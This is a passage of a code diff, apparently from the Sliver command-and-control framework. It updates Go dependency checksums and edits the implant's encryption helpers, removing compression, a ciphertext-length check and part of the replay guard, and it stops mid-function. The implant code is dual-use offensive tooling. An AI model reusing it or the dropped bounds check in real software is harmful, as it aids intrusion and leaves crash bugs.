-github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
 github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
 github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
 github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
@@ -415,8 +403,6 @@ github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg
 github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
 github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
 github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
-github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
-github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
 github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
 github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
 github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
@@ -453,10 +439,10 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
 github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
 github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
 github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
+github.com/things-go/go-socks5 v0.0.2 h1:dFi5iZ/LqgHRTQ6n3XlipTLDWHAQsejvJ300bH2VFWo=
+github.com/things-go/go-socks5 v0.0.2/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
 github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
 github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
-github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
-github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
 github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
 github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
 github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
@@ -512,7 +498,6 @@ golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKG
 golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
 golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
 golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
-golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
 golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
 golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
 golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -588,7 +573,6 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -599,10 +583,6 @@ golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1 h1:kwrAHlwJ0DUBZwQ238v+Uod/3eZ8B2K5rYsUHBQvzmI=
 golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
@@ -645,8 +625,6 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
 golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
 golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
 golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
-golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
-golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY=
 golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
 golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -746,126 +724,4 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
 honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
 inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
 inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
-lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
-lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
-modernc.org/cc/v3 v3.33.6/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.33.9/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.33.11/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.34.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.4/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.5/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.7/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.8/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
-modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
-modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
-modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
-modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
-modernc.org/ccgo/v3 v3.11.1/go.mod h1:lWHxfsn13L3f7hgGsGlU28D9eUOf6y3ZYHKoPaKU0ag=
-modernc.org/ccgo/v3 v3.11.3/go.mod h1:0oHunRBMBiXOKdaglfMlRPBALQqsfrCKXgw9okQ3GEw=
-modernc.org/ccgo/v3 v3.12.4/go.mod h1:Bk+m6m2tsooJchP/Yk5ji56cClmN6R1cqc9o/YtbgBQ=
-modernc.org/ccgo/v3 v3.12.6/go.mod h1:0Ji3ruvpFPpz+yu+1m0wk68pdr/LENABhTrDkMDWH6c=
-modernc.org/ccgo/v3 v3.12.8/go.mod h1:Hq9keM4ZfjCDuDXxaHptpv9N24JhgBZmUG5q60iLgUo=
-modernc.org/ccgo/v3 v3.12.11/go.mod h1:0jVcmyDwDKDGWbcrzQ+xwJjbhZruHtouiBEvDfoIsdg=
-modernc.org/ccgo/v3 v3.12.14/go.mod h1:GhTu1k0YCpJSuWwtRAEHAol5W7g1/RRfS4/9hc9vF5I=
-modernc.org/ccgo/v3 v3.12.18/go.mod h1:jvg/xVdWWmZACSgOiAhpWpwHWylbJaSzayCqNOJKIhs=
-modernc.org/ccgo/v3 v3.12.20/go.mod h1:aKEdssiu7gVgSy/jjMastnv/q6wWGRbszbheXgWRHc8=
-modernc.org/ccgo/v3 v3.12.21/go.mod h1:ydgg2tEprnyMn159ZO/N4pLBqpL7NOkJ88GT5zNU2dE=
-modernc.org/ccgo/v3 v3.12.22/go.mod h1:nyDVFMmMWhMsgQw+5JH6B6o4MnZ+UQNw1pp52XYFPRk=
-modernc.org/ccgo/v3 v3.12.25/go.mod h1:UaLyWI26TwyIT4+ZFNjkyTbsPsY3plAEB6E7L/vZV3w=
-modernc.org/ccgo/v3 v3.12.29/go.mod h1:FXVjG7YLf9FetsS2OOYcwNhcdOLGt8S9bQ48+OP75cE=
-modernc.org/ccgo/v3 v3.12.36/go.mod h1:uP3/Fiezp/Ga8onfvMLpREq+KUjUmYMxXPO8tETHtA8=
-modernc.org/ccgo/v3 v3.12.38/go.mod h1:93O0G7baRST1vNj4wnZ49b1kLxt0xCW5Hsa2qRaZPqc=
-modernc.org/ccgo/v3 v3.12.43/go.mod h1:k+DqGXd3o7W+inNujK15S5ZYuPoWYLpF5PYougCmthU=
-modernc.org/ccgo/v3 v3.12.46/go.mod h1:UZe6EvMSqOxaJ4sznY7b23/k13R8XNlyWsO5bAmSgOE=
-modernc.org/ccgo/v3 v3.12.47/go.mod h1:m8d6p0zNps187fhBwzY/ii6gxfjob1VxWb919Nk1HUk=
-modernc.org/ccgo/v3 v3.12.50/go.mod h1:bu9YIwtg+HXQxBhsRDE+cJjQRuINuT9PUK4orOco/JI=
-modernc.org/ccgo/v3 v3.12.51/go.mod h1:gaIIlx4YpmGO2bLye04/yeblmvWEmE4BBBls4aJXFiE=
-modernc.org/ccgo/v3 v3.12.53/go.mod h1:8xWGGTFkdFEWBEsUmi+DBjwu/WLy3SSOrqEmKUjMeEg=
-modernc.org/ccgo/v3 v3.12.54/go.mod h1:yANKFTm9llTFVX1FqNKHE0aMcQb1fuPJx6p8AcUx+74=
-modernc.org/ccgo/v3 v3.12.55/go.mod h1:rsXiIyJi9psOwiBkplOaHye5L4MOOaCjHg1Fxkj7IeU=
-modernc.org/ccgo/v3 v3.12.56/go.mod h1:ljeFks3faDseCkr60JMpeDb2GSO3TKAmrzm7q9YOcMU=
-modernc.org/ccgo/v3 v3.12.57/go.mod h1:hNSF4DNVgBl8wYHpMvPqQWDQx8luqxDnNGCMM4NFNMc=
-modernc.org/ccgo/v3 v3.12.60/go.mod h1:k/Nn0zdO1xHVWjPYVshDeWKqbRWIfif5dtsIOCUVMqM=
-modernc.org/ccgo/v3 v3.12.66/go.mod h1:jUuxlCFZTUZLMV08s7B1ekHX5+LIAurKTTaugUr/EhQ=
-modernc.org/ccgo/v3 v3.12.67/go.mod h1:Bll3KwKvGROizP2Xj17GEGOTrlvB1XcVaBrC90ORO84=
-modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3cQ=
-modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
-modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
-modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
-modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
-modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
-modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
-modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
-modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
-modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
-modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
-modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
-modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
-modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
-modernc.org/libc v1.9.11/go.mod h1:NyF3tsA5ArIjJ83XB0JlqhjTabTCHm9aX4XMPHyQn0Q=
-modernc.org/libc v1.11.0/go.mod h1:2lOfPmj7cz+g1MrPNmX65QCzVxgNq2C5o0jdLY2gAYg=
-modernc.org/libc v1.11.2/go.mod h1:ioIyrl3ETkugDO3SGZ+6EOKvlP3zSOycUETe4XM4n8M=
-modernc.org/libc v1.11.5/go.mod h1:k3HDCP95A6U111Q5TmG3nAyUcp3kR5YFZTeDS9v8vSU=
-modernc.org/libc v1.11.6/go.mod h1:ddqmzR6p5i4jIGK1d/EiSw97LBcE3dK24QEwCFvgNgE=
-modernc.org/libc v1.11.11/go.mod h1:lXEp9QOOk4qAYOtL3BmMve99S5Owz7Qyowzvg6LiZso=
-modernc.org/libc v1.11.13/go.mod h1:ZYawJWlXIzXy2Pzghaf7YfM8OKacP3eZQI81PDLFdY8=
-modernc.org/libc v1.11.16/go.mod h1:+DJquzYi+DMRUtWI1YNxrlQO6TcA5+dRRiq8HWBWRC8=
-modernc.org/libc v1.11.19/go.mod h1:e0dgEame6mkydy19KKaVPBeEnyJB4LGNb0bBH1EtQ3I=
-modernc.org/libc v1.11.24/go.mod h1:FOSzE0UwookyT1TtCJrRkvsOrX2k38HoInhw+cSCUGk=
-modernc.org/libc v1.11.26/go.mod h1:SFjnYi9OSd2W7f4ct622o/PAYqk7KHv6GS8NZULIjKY=
-modernc.org/libc v1.11.27/go.mod h1:zmWm6kcFXt/jpzeCgfvUNswM0qke8qVwxqZrnddlDiE=
-modernc.org/libc v1.11.28/go.mod h1:Ii4V0fTFcbq3qrv3CNn+OGHAvzqMBvC7dBNyC4vHZlg=
-modernc.org/libc v1.11.31/go.mod h1:FpBncUkEAtopRNJj8aRo29qUiyx5AvAlAxzlx9GNaVM=
-modernc.org/libc v1.11.34/go.mod h1:+Tzc4hnb1iaX/SKAutJmfzES6awxfU1BPvrrJO0pYLg=
-modernc.org/libc v1.11.37/go.mod h1:dCQebOwoO1046yTrfUE5nX1f3YpGZQKNcITUYWlrAWo=
-modernc.org/libc v1.11.39/go.mod h1:mV8lJMo2S5A31uD0k1cMu7vrJbSA3J3waQJxpV4iqx8=
-modernc.org/libc v1.11.42/go.mod h1:yzrLDU+sSjLE+D4bIhS7q1L5UwXDOw99PLSX0BlZvSQ=
-modernc.org/libc v1.11.44/go.mod h1:KFq33jsma7F5WXiYelU8quMJasCCTnHK0mkri4yPHgA=
-modernc.org/libc v1.11.45/go.mod h1:Y192orvfVQQYFzCNsn+Xt0Hxt4DiO4USpLNXBlXg/tM=
-modernc.org/libc v1.11.47/go.mod h1:tPkE4PzCTW27E6AIKIR5IwHAQKCAtudEIeAV1/SiyBg=
-modernc.org/libc v1.11.49/go.mod h1:9JrJuK5WTtoTWIFQ7QjX2Mb/bagYdZdscI3xrvHbXjE=
-modernc.org/libc v1.11.51/go.mod h1:R9I8u9TS+meaWLdbfQhq2kFknTW0O3aw3kEMqDDxMaM=
-modernc.org/libc v1.11.53/go.mod h1:5ip5vWYPAoMulkQ5XlSJTy12Sz5U6blOQiYasilVPsU=
-modernc.org/libc v1.11.54/go.mod h1:S/FVnskbzVUrjfBqlGFIPA5m7UwB3n9fojHhCNfSsnw=
-modernc.org/libc v1.11.55/go.mod h1:j2A5YBRm6HjNkoSs/fzZrSxCuwWqcMYTDPLNx0URn3M=
-modernc.org/libc v1.11.56/go.mod h1:pakHkg5JdMLt2OgRadpPOTnyRXm/uzu+Yyg/LSLdi18=
-modernc.org/libc v1.11.58/go.mod h1:ns94Rxv0OWyoQrDqMFfWwka2BcaF6/61CqJRK9LP7S8=
-modernc.org/libc v1.11.71/go.mod h1:DUOmMYe+IvKi9n6Mycyx3DbjfzSKrdr/0Vgt3j7P5gw=
-modernc.org/libc v1.11.75/go.mod h1:dGRVugT6edz361wmD9gk6ax1AbDSe0x5vji0dGJiPT0=
-modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
-modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
-modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
-modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
-modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
-modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
-modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
-modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
-modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
-modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
-modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
-modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
-modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
-modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
-modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
-modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
-modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
-modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
-modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
-modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
-modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
-modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
-modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
-modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
-modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
-modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
-modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
-modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
-modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
-modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=

implant/sliver/cryptography/crypto.go

@@ -19,8 +19,6 @@ package cryptography
 */
 
 import (
-	"bytes"
-	"compress/gzip"
 	"crypto/rand"
 	"crypto/sha256"
 	"crypto/x509"
@@ -29,11 +27,11 @@ import (
 	"io"
 	"os"
 	"sync"
-	"time"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
+	"time"
 
 	"github.com/pquerna/otp"
 	"github.com/pquerna/otp/totp"
@@ -73,9 +71,6 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
 
 // ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
 func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
-	if len(ciphertext) < 24 {
-		return nil, errors.New("ciphertext too short")
-	}
 	var decryptNonce [24]byte
 	copy(decryptNonce[:], ciphertext[:24])
 	plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
@@ -107,7 +102,6 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
 	if err != nil {
 		return nil, err
 	}
-	plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
 	nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
 	if _, err := rand.Read(nonce); err != nil {
 		return nil, err
@@ -130,11 +124,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
 	nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
 
 	// Decrypt the message and check it wasn't tampered with.
-	plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
-	if err != nil {
-		return nil, err
-	}
-	return GunzipBuf(plaintext), nil
+	return aead.Open(nil, nonce, ciphertext, nil)
 }
 
 // NewCipherContext - Wrapper around creating a cipher context from a key
@@ -153,17 +143,15 @@ type CipherContext struct {
 }
 
 // Decrypt - Decrypt a message with the contextual key and check for replay attacks
-func (c *CipherContext) Decrypt(ciphertext []byte) ([]byte, error) {
-	plaintext, err := Decrypt(c.Key, ciphertext)
+func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
+	plaintext, err := Decrypt(c.Key, data)
 	if err != nil {
 		return nil, err
 	}
-	if 0 < len(ciphertext) {
-		digest := sha256.Sum256(ciphertext)
-		b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
-		if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
-			return nil, ErrReplayAttack
-		}
+	digest := sha256.Sum256(data)
+	b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
+	if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
+		return nil, ErrReplayAttack
 	}
 	return plaintext, nil
 }
@@ -174,11 +162,9 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	if err != nil {
 		return nil, err
 	}
-	if 0 < len(ciphertext) {
-		digest := sha256.Sum256(ciphertext)
